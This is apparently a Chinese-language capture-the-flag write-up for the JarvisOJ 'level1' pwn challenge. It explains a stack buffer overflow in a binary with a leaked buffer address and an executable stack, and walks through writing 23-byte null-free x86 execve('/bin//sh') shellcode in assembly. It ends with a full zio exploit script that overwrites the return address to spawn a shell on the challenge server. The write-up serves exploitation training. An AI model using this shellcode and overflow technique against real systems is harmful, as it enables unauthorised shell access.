jarvisoj(https://www.jarvisoj.com/challenges )pwn部分 level1 解题过程:
在队友的指导下写了人生第一个shellcode感觉很刺激,过程中还是学到了很多东西,记录一下
这个程序流程很简单,用ida分析就两个主要的函数:
main:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
vulnerable_function:
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}
可以看到在vulnerable_function中泄漏了buf的内存,用checksec可以发现这个程序编译时关了栈不可执行保护,于是我们就可以在buf里面输入shellcode和填充字符,将vulnerable_function的返回地址覆盖为buf的栈上地址,实现一次较简单的栈溢出攻击。
现在的关键是写shellcode
因为linux内核的系统调用表是一样的,可以通过http://syscalls.kernelgrok.com/网站来查询,所以我们可以通过写这样的汇编代码来生成shellcode:
global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor eax,eax
mov al,0Bh
int 80h
golbal定义了程序的入口点,gcc和ld似乎都认定入口点符号是_start,所以最好不要写别的名字
这段汇编代码的作用是传参并调用中断向量表0x0B(对应的是execve),这个函数的第一个参数是要执行的文件名,这里就是“/bin/sh”;第二个参数是参数集合;第三个参数是环境变量。这里第二和第三个参数都填0即可。
为什么要将“\bin\sh”压入栈中,再将栈顶指针值赋值给ebx来传第一个参数呢?
因为execve的第一个参数是一个字符串的首地址,所以你需要一个栈上的地址作为”/bin/sh”的首地址,直接将“/bin/sh” push进入栈后,esp恰好就是它的指针了。
注意,在传“/bin/sh”这个参数时,我一开始是这么写的:
push "/bin/sh"
这么写有两个问题:
1.汇编器在汇编的时候,一个push只能push 4个字节数据,超长数据将会被截断。
2.末尾没有填充‘/0’字符表示字符串结束,这样会引发错误
后来我改成了这样:
push "/sh"
push "/bin"
这样对于这一题是可以的,你可能会问,你这里不也没填充’/0’吗?之前说过,push时会push 4字节的数据,在不够4字节的数据时,汇编器会在末尾补零(或者说原来里面的值全是0,只覆盖了前3个字节),那么最后一个字节中的0就可以当作字符串的结束标志。
但是这样的shellcode由于具有’\0’,容易被一些函数(如strcpy,strlen等)截断。为了防止这个问题,我们需要让shellcode的二进制代码中没有/x00这样的字节。
所以就有了最终版,这个版本的shellcode只有23字节,而且没有一个/x00字节,以下是传”/bin/sh”的部分:
xor edx,edx
push edx
push "//sh"
push "/bin"
注意:在终端中”/bin/sh”和”/bin//sh”的效果是一样的,这里为了预防/x00字节的出现,用//sh填充了。
写好了汇编代码,我们需要验证是否可行,于是用nasm和ld将这些汇编代码编译成二进制可执行文件:
nasm -f elf 汇编代码文件名
ld -o 输出文件名 上条指令生成的.o文件
之后在当前目录下你就可以找到一个elf文件,执行之后可以拿到shell,验证了shellcode的可行性。
完整的pwn脚本如下:
from zio import *
io = zio(("pwn2.jarvisoj.com",9877))
shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
buff = int(io.readline()[-10:-2],16)
payload = shellcode + (0x88 - 23) * "A" + "bbbb" + l32(buff)
io.writeline(payload)
io.interact()